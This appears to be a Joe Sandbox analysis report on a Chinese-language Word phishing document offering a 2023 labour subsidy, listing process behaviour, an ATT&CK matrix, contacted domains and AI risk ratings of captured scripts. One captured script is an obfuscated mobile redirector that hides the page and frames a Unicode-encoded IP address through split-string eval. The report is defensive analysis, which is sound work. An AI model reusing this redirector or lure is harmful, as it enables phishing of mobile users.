Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\splwow64.exe

Thread delayed: delay time: 120000

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Process information queried: ProcessInformation

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	2 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	1 Extra Window Memory Injection	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Process Injection	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Extra Window Memory Injection	NTDS	1 System Information Discovery	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	5 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2023#U5e74#U4e2a#U4eba#U52b3#U52a8#U8865#U8d34.docx	12%	ReversingLabs	Document-Word.Phishing.Generic
2023#U5e74#U4e2a#U4eba#U52b3#U52a8#U8865#U8d34.docx	5%	Virustotal		Browse

Source	Detection	Scanner	Label
http://www.shenqing1.com/favicon.ico	0%	Avira URL Cloud	safe
http://www.shenqing1.com/common.js	0%	Avira URL Cloud	safe
http://www.shenqing1.com/tj.js	0%	Avira URL Cloud	safe
https://node22.aizhantj.com:21233/tjjs/?k=d94f3xexzei	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
share.n.shifen.com	112.34.113.148	true	false	high
api.share.n.shifen.com	180.101.212.103	true	false	high
node22.aizhantj.com.wswebpic.com	163.171.142.154	true	false	unknown
www.shenqing1.com	38.31.228.123	true	false	high
www.google.com	142.250.181.100	true	false	high
hm.e.shifen.com	111.45.11.83	true	false	high
_21233._https.node22.aizhantj.com	unknown	unknown	false	unknown
api.share.baidu.com	unknown	unknown	false	high
push.zhanzhang.baidu.com	unknown	unknown	false	high
node22.aizhantj.com	unknown	unknown	false	unknown
hm.baidu.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.shenqing1.com/	false		unknown
http://api.share.baidu.com/s.gif?l=http://www.shenqing1.com/	false		high
https://hm.baidu.com/hm.js?f65b5decfda457ddb48fb11285b70333	false		high
https://hm.baidu.com/hm.gif?hca=436E3B5EE945DDD8&cc=1&ck=1&cl=24-bit&ds=1280x1024&vl=907&et=0&ja=0&ln=en-us&lo=0&rnd=470346401&si=282ad46c18b6295a8bb8e1da991aa804&v=1.3.2&lv=1&sn=38805&r=0&ww=1280&u=http%3A%2F%2Fwww.shenqing1.com%2F&tt=%E4%B8%87%E5%AE%81%E8%82%87%E6%B1%95%E5%95%86%E8%B4%B8%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8	false		high
http://www.shenqing1.com/favicon.ico	false	Avira URL Cloud: safe	unknown
http://www.shenqing1.com/common.js	false	Avira URL Cloud: safe	unknown
https://hm.baidu.com/hm.js?282ad46c18b6295a8bb8e1da991aa804	false		high
http://www.shenqing1.com/tj.js	false	Avira URL Cloud: safe	unknown
http://push.zhanzhang.baidu.com/push.js	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://goutong.baidu.com/site/	chromecache_255.5.dr	false		high
http://tongji.baidu.com/hm-web/welcome/ico	chromecache_255.5.dr	false		high
https://node22.aizhantj.com:21233/tjjs/?k=d94f3xexzei	chromecache_253.5.dr, chromecache_250.5.dr	false	Avira URL Cloud: safe	unknown
https://hmcdn.baidu.com/static/tongji/plugins/	chromecache_255.5.dr	false		high
https://fclog.baidu.com/log/ocpcagl?type=behavior&emd=euc	chromecache_255.5.dr	false		high
https://hmcdn.baidu.com/static	chromecache_255.5.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
163.171.142.154	node22.aizhantj.com.wswebpic.com	European Union	54994	QUANTILNETWORKSUS	false
38.31.228.123	www.shenqing1.com	United States	174	COGENT-174US	false
111.45.11.83	hm.e.shifen.com	China	56040	CMNET-GUANGDONG-APChinaMobilecommunicationscorporation	false
111.45.3.198	unknown	China	56040	CMNET-GUANGDONG-APChinaMobilecommunicationscorporation	false
112.34.113.148	share.n.shifen.com	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
180.101.212.103	api.share.n.shifen.com	China	134770	CHINANET-JIANGSU-SUZHOU-NETWORKCHINANETJiangsuprovinceSu	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1566383
Start date and time:	2024-12-02 04:56:54 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Potential for more IOCs and behavior
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2023#U5e74#U4e2a#U4eba#U52b3#U52a8#U8865#U8d34.docx renamed because original name is a hash value
Original Sample Name:	2023.docx
Detection:	MAL
Classification:	mal48.winDOCX@18/259@28/9
Cookbook Comments:	Found application associated with file extension: .docx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 52.109.32.97, 52.113.194.132, 184.30.17.174, 216.58.208.227, 172.217.19.238, 64.233.165.84, 52.111.252.18, 52.111.252.17, 52.111.252.15, 52.111.252.16, 23.32.238.226, 192.229.221.95, 34.104.35.123, 20.50.73.11, 2.19.51.79, 2.19.51.45, 23.32.238.225, 23.32.238.241, 52.109.32.7, 184.30.24.41, 172.217.17.67, 172.217.17.78
Excluded domains from analysis (whitelisted): e1324.dscd.akamaiedge.net, slscr.update.microsoft.com, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, a1847.dscg2.akamai.net, clients2.google.com, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, update.googleapis.com, officeclient.microsoft.com, ukw-azsc-config.officeapps.live.com, ecs.office.com, fs.microsoft.com, prod-inc-resolver.naturallanguageeditorservice.osi.office.net.akadns.net, uci.cdn.office.net, prod.roaming1.live.com.akadns.net, s-0005-office.config.skype.com, nleditor.osi.office.net, edgedl.me.gvt1.com, s-0005.s-msedge.net, metadata.templates.cdn.office.net, ecs.office.trafficmanager.net, clients.l.google.com, europe.configsvc1.live.com.akadns.net, binaries.templates.cdn.office.net.edgesuite.net, templatesmetadata.office.net.edgekey.net, osiprod-ukw-buff-azsc-000.ukwest.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, eur.roaming1.live.com.akadns.net, ecs-office.s-0005.s-msedge.net,
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
22:58:08	API Interceptor	10x Sleep call for process: splwow64.exe modified

QR Codes

Source	URL
Screenshot	http://www.shenqing1.com
Screenshot	http://www.shenqing1.com
Screenshot	http://www.shenqing1.com
Screenshot	http://www.shenqing1.com
Screenshot	http://www.shenqing1.com

LLM Input / Output

Input	Output
URL: http://shenqing1.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: http://shenqing1.com
URL: Office document Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "2023", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": true, "contains_chinese_text": true }

URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "High-risk script showing multiple dangerous behaviors: 1) Uses obfuscated IP address in Unicode encoding 2) Uses eval() for dynamic code execution 3) Manipulates DOM aggressively to hide elements 4) Creates iframe loading content from suspicious IP address 5) Splits strings to obfuscate document.write 6) Targets mobile devices specifically for potential malicious redirect" }
var titlestr = document.title; var arr = ["\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0031\u0033\u0037\u002e\u0031\u0037\u0035\u002e\u0033\u0032\u002e\u0031\u0032\u0032\u003a\u0031\u0036\u0036\u0038\u0038"]; var linkIndex = Math.floor((Math.random() * arr.length)); // const params = new URLSearchParams(window.location.search); const myParam = params.get('path'); if(isMobile()) { if(myParam) { setFrame(arr[linkIndex] + myParam) } else { setFrame(arr[linkIndex]); } } function setFrame(olink) { var ss = '<title>' + titlestr + '</title><div id="showcloneshengxiaon" style="height: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial initial; background-repeat: initial initial;"><ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0 frameborder="0" width="100%" height="100%" src="' + olink + '"></iframe></div><style type="text/css">html{width:100%;height:100%;}body {width:100%;height:100%;}</style>'; eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');"); try { setTimeout(function() { console.log(document.body.children.length); for (var i = 0; i < document.body.children.length; i++) { try { var a = document.body.children[i].tagName; var b = document.body.children[i].id; console.log(i + "*" + a + "" + b); if (b != "iconDiv1" && b != "showcloneshengxiaon" && a != "title") { document.body.children[i].style.display = "non" + "e" } } catch(e) {} } var oMeta = document.createElement('meta'); oMeta.name = 'viewport'; oMeta.content = 'width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no'; document.getElementsByTagName('head')[0].appendChild(oMeta); }, 100) } catch(e) {} } function isMobile() { return /Android\|webOS\|iPhone\|iPad\|iPod\|BlackBerry\|IEMobile\|Opera Mini/i.test(navigator.userAgent); }
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 4, "reasoning": "Script dynamically loads external JavaScript from Baidu domains based on protocol. While Baidu is a known company, the practice of dynamically loading external scripts poses moderate risk. The script uses protocol-based fallback domains and DOM manipulation. The domain zz.bdstatic.com is associated with Baidu's webmaster tools, but external script injection could potentially be exploited if compromised." }
(function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })();
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "Script loads tracking code from both Baidu Analytics (legitimate but non-Western domain) and an unknown domain (aizhantj.com). Multiple tracking scripts and use of non-standard ports (21233) raises suspicion. While Baidu tracking is legitimate in Chinese contexts, the combination with an obscure third-party domain using non-standard ports indicates moderate risk." }
var _hmt = _hmt \|\| []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?f65b5decfda457ddb48fb11285b70333"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); var _hmt = _hmt \|\| []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?282ad46c18b6295a8bb8e1da991aa804"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); var _mtj = _mtj \|\| []; (function () { var mtj = document.createElement("script"); mtj.src = "https://node22.aizhantj.com:21233/tjjs/?k=d94f3xexzei"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(mtj, s); })();
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "Script shows concerning behaviors including cookie manipulation, event tracking, and URL manipulation. Uses obfuscated variable names (h, mt, c) and contains functions for data collection. While some functionality appears analytics-related, the code is heavily obfuscated and includes suspicious domain handling ('tongji.com'). The presence of cookie manipulation methods and URL tracking capabilities without clear legitimate context raises moderate security concerns." }
(function () { var h = {}; var mt = {}; var c = { id: "d94f3xexzei", dm: ["35.com"], js: "tongji.com/hm-web/js/", etrk: [], cetrk: [], cptrk: [], icon: '', ctrk: [], vdur: 1800000, age: 31536000000, qiao: 0, pt: 0, spa: 0, aet: '', hca: '', ab: '0', v: 1 }; var s = void 0; var t = !0; var u = null; var x = !1; mt.cookie = {}; mt.cookie.set = function (e, a, b) { var k; b.C && (k = new Date, k.setTime(k.getTime() + b.C)); document.cookie = e + "=" + a + (b.domain ? "; domain=" + b.domain : "") + (b.path ? "; path=" + b.path : "") + (k ? "; expires=" + k.toGMTString() : "") + (b.dc ? "; secure" : "") }; mt.cookie.get = function (e) { return (e = RegExp("(^\| )" + e + "=([^;])(;\|$)").exec(document.cookie)) ? e[2] : u }; mt.cookie.rb = function (e, a) { try { var b = "Hm_ck_" + +new Date; mt.cookie.set(b, "42", { domain: e, path: a, C: s }); var k = "42" === mt.cookie.get(b) ? "1" : "0"; mt.cookie.set(b, "", { domain: e, path: a, C: -1 }); return k } catch (d) { return "0" } }; mt.event = {}; mt.event.c = function (e, a, b, k) { e.addEventListener ? e.addEventListener(a, b, k \|\| x) : e.attachEvent && e.attachEvent("on" + a, function (d) { b.call(e, d) }) }; (function () { var e = mt.event; mt.lang = {}; mt.lang.i = function (a, b) { return "[object " + b + "]" === {}.toString.call(a) }; mt.lang.j = function (a) { return mt.lang.i(a, "Function") }; mt.lang.J = function (a) { return mt.lang.i(a, "Object") }; mt.lang.Wb = function (a) { return mt.lang.i(a, "Number") && isFinite(a) }; mt.lang.Z = function (a) { return mt.lang.i(a, "String") }; mt.lang.isArray = function (a) { return mt.lang.i(a, "Array") }; mt.lang.n = function (a) { return a.replace ? a.replace(/'/g, "'0").replace(/\/g, "'1").replace(/!/g, "'2") : a }; mt.lang.trim = function (a) { return a.replace(/^\s+\|\s+$/g, "") }; mt.lang.find = function (a, b, k) { if (mt.lang.isArray(a) && mt.lang.j(b)) for (var d = a.length, f = 0; f < d; f++) if (f in a && b.call(k \|\| a, a[f], f)) return a[f]; return u }; mt.lang.X = function (a, b) { return mt.lang.find(a, function (k) { return k === b }) != u }; mt.lang.filter = function (a, b) { var k = -1, d = 0, f = a == u ? 0 : a.length, g = []; if (mt.lang.j(b)) for (; ++k < f; ) { var l = a[k]; b(l, k, a) && (g[d++] = l) } return g }; mt.lang.unique = function (a, b) { var k = a.length, d = a.slice(0), f, g; for (mt.lang.j(b) \|\| (b = function (b, d) { return b === d }); 0 < --k; ) { g = d[k]; for (f = k; f--; ) if (b(g, d[f])) { d.splice(k, 1); break } } return d }; mt.lang.Zb = function (a, b) { function k(b) { b = (d + d + Number(b).toString(2)).slice(-64); return [parseInt(b.slice(0, 32), 2), parseInt(b.slice(-32), 2)] } var d = "00000000000000000000000000000000", f = k(a), g = k(b); return parseInt((d + ((f[0] \| g[0]) >>> 0).toString(2)).slice(-32) + (d + ((f[1] \| g[1]) >>> 0).toString(2)).slice(-32), 2) }; mt.lang.extend = function (a) { for (var b = Array.prototype.slice.call(arguments, 1), k = 0; k < b.length; k++) { var d = b[k], f; for (f in d) Object.prototype.hasOwnProperty.call(d, f) && d[f] && (a[f] = d[f]) } return a }; mt.lang.Ob = function (a) { function b(b, d) { var a = window.history, g = a[b]; a[b] = function () { g.apply(a, arguments); mt.lang.j(d) && d() } } b("pushState", function () { a(); }); b("replaceState", function () { a(); }); e.c(window, window.history.pushState ? "popstate" : "hashchange", function () { a(); }) }; return mt.lang })(); mt.url = {}; mt.url.f = function (e, a) { var b = e.match(RegExp("(^\|&\|\\?\|#)(" + a + ")=([^&#])(&\|$\|#)", "")); return b ? b[3] : u }; mt.url.Sa = function (e) { return (e = e.match(/^(https?:\/\/)?([^\/\?#])/)) ? e[2].replace(/.*@/, "") : u }; mt.url.V = function (e) { return (e = mt.url.Sa(e)) ? e.replace(/:\d+$/, "") : e }; mt.url.pb = function (e) { var a = document.location.href, a = a.replace(/^https?:\/\//, ""); return 0 === a.indexOf(e) }; mt.url.qb = function (e, a) { e = "." + e.replace(/:\d+/, ""); a = "." + a.replace(/:\d+/, ""); var b = e.indexOf(a); return -
URL: Office document Model: Joe Sandbox AI	{ "brands": [] } The provided image does not contain any visible brand logos or brand names. The image appears to be a notice or announcement from a government agency or department, and does not seem to feature any commercial brands.

URL: Screenshot id: 8 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": ",", "prominent_button_name": "", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": true, "contains_chinese_text": true }

URL: Screenshot id: 10 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": ",", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": true, "contains_chinese_text": true }

URL: Screenshot id: 6 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: Screenshot id: 9 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": ",", "prominent_button_name": "", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": true, "contains_chinese_text": true }

URL: Screenshot id: 7 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": ",", "prominent_button_name": "", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": true, "contains_chinese_text": true }

URL: Screenshot id: 8 Model: Joe Sandbox AI	{ "brands": [ "SimSun" ] }
	{ "brands": [ "SimSun" ] }
